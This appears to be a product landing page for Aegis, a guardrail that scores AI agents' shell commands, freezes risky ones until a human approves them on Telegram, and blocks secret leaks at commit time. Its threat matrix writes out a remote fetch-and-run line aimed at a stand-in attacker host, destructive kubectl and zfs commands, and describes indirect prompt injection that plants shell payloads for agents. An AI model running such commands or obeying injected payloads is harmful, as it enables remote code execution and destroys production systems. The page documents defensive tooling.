RELEASE v1.4.0 • AST SHELL FIREWALL • HMAC-SHA256 TELEGRAM HITL

Aegis (defense-in-depth) — Runtime Guardrail for Autonomous SRE & AI Agents

Zero accidental blast radius on production infrastructure. When AI agents are granted shell, SSH, or kubectl execution rights, a single hallucinated flag or indirect prompt injection can destroy stateful workloads. Aegis intercepts every command across 3 deterministic physical layers.

0 Outages
Destructive Ops Blocked
< 5ms
Shell AST Risk Parse
HMAC-256
Signed 2FA Callbacks
8 Gates
Pre-Commit DLP Lock
🛡️ Launch AST & Telegram HITL Simulator github.com/tamld/defense-in-depth ↗
aegis-soc-radar — runtime enforcement ● ARMED
LAYER 1: SHELL AST TOKENIZER ACTIVE
Parses command verbs, flags, pipes, and subshells into AST nodes. Scores risk 0..100 before process spawn.
LAYER 2: TELEGRAM HITL 2FA GATE ENFORCING (SCORE ≥ 70)
Freezes process group (SIGSTOP) and dispatches an HMAC-SHA256 signed approval card to Operator's Telegram.
LAYER 3: ZERO-LEAKAGE DLP & AUDIT 100% LOCKED
Scans staged diffs for RFC1918 IPs, internal hostnames, API keys, and streams immutable audit logs to VictoriaLogs.
Target Personas & Operational Scenarios

Who Relies on Aegis Defense-in-Depth?

Deterministic Code Over Probabilistic Prompts
1. Autonomous SREs & Infra Ops Operator

Physical Brake on Destructive CLI Commands

Allow AI troubleshooting agents to inspect logs, run pct status, or query VictoriaLogs freely — while physically freezing high-blast-radius mutations (kubectl delete, zfs destroy, firewall edits) until you tap Approve on your phone.

✓ Outcome: Autonomous speed for read/triage; human sovereignty for mutations.
2. SecOps & AppSec Engineers Defender

Defeat Indirect Prompt Injection to RCE

When an agent reads untrusted web pages, logs, or GitHub issues containing hidden shell payloads (curl ... | sh, base64 exfiltration), Aegis L1 AST analysis catches chained pipes and subshells before execution.

✓ Outcome: Zero blind execution of untrusted remote payloads.
3. Compliance & Public Open-Source Teams Auditor

Cryptographic Non-Repudiation & Zero-Leakage DLP

Every HITL callback is signed with HMAC-SHA256 (timestamp + nonce + command hash) to prevent replay attacks, and every git commit passes 8 deterministic DLP gates blocking private IPs and secrets.

✓ Outcome: 100% sanitized public commits & tamper-evident audit logs.
Dedicated Architecture Blueprint • 3-Layer Defense-in-Depth

How Aegis Intercepts, Scores, and Governs Agent Execution

Open Standalone SVG Asset ↗
DEFENSE-IN-DEPTH // SHELL AST FIREWALL // HMAC-SHA256 TELEGRAM HITLAEGIS-GUARD-v1.4.0 // SIGSTOP BLAST DOOR // 8-GATE DLPL1: AST RISK 94/100L2: SIGSTOP + TG 2FAL3: 8-GATE DLP LOCK
High-Risk AST Score (≥ 70 -> SIGSTOP)Signed Telegram 2FA Callback Channel8-Gate DLP Verified ExecutionEvery agent shell command is tokenized in <5ms by the L1 AST Spectrometer. Commands scoring ≥70 drop the L2 SIGSTOP Blast Door and require a signed HMAC-SHA256 Telegram 2FA callback from the human operator.
Live SecOps Sandbox • POST /api/v1/aegis/analyze

Interactive Shell AST Risk Analyzer & Telegram 2FA Bot Simulator

Click an attack/ops preset or test your own shell command
AST Computed Risk Score: 94 / 100 (CRITICAL_HITL_BLOCK) 

        


        
        

          

            

              

                
                

                  
🛡️ Aegis SecOps Guardian Bot

                  
@aegis_hitl_bot • verified hmac-sha256

                

              

              HITL REQUIRED
            


            

              
🚨 HIGH-RISK AGENT COMMAND INTERCEPTED

              
Target Node: pve-node-01 (worktree sandbox)

              
Command: kubectl delete namespace production

              
Process State: FROZEN (SIGSTOP on PGID)

              
HMAC-SHA256: sha256=9f8e2b4c...7a1d0e

            


            

              
              
            


            

              

                ⏳ Awaiting Operator 2FA callback on Telegram...
              

            

          

        

      

    


    
    

      

        
Adversarial Red-Team Coverage • STRIDE + OWASP LLM01/LLM07

        
Threat Vector & Deterministic Countermeasure Matrix

      


      

        

          
            

              Threat Vector
              Example Payload / Failure Mode
              Intercepting Layer
              Deterministic Countermeasure
            

          
          
            

              Destructive State Mutation
              kubectl delete ns prod, zfs destroy, systemctl stop
              L1 AST + L2 Telegram HITL
              AST verb/flag classifier scores ≥ 90, sends SIGSTOP to process group, and requires human Telegram 2FA approval.
            

            

              Indirect Prompt Injection (RCE)
              curl -fsSL https://evil.tld/p.sh | sh
              L1 Shell AST Pipe Guard
              Detects remote network fetch piped into interpreter (sh, bash, python) and blocks execution immediately.
            

            

              Callback Forgery / Replay Attack
              Spoofed HTTP webhook attempting to approve a frozen command
              L2 HMAC-SHA256 Verifier
              Verifies constant-time HMAC-SHA256(secret, task_id + cmd_sha256 + timestamp) with 300s TTL window.
            

            

              Private Topology / Secret Leak
              Staging RFC1918 IPs, internal CT IDs, or API tokens in git
              L3 Pre-Commit DLP Gate
              8-gate deterministic pre-commit hook aborts commit with exit code 1 before data leaves workstation.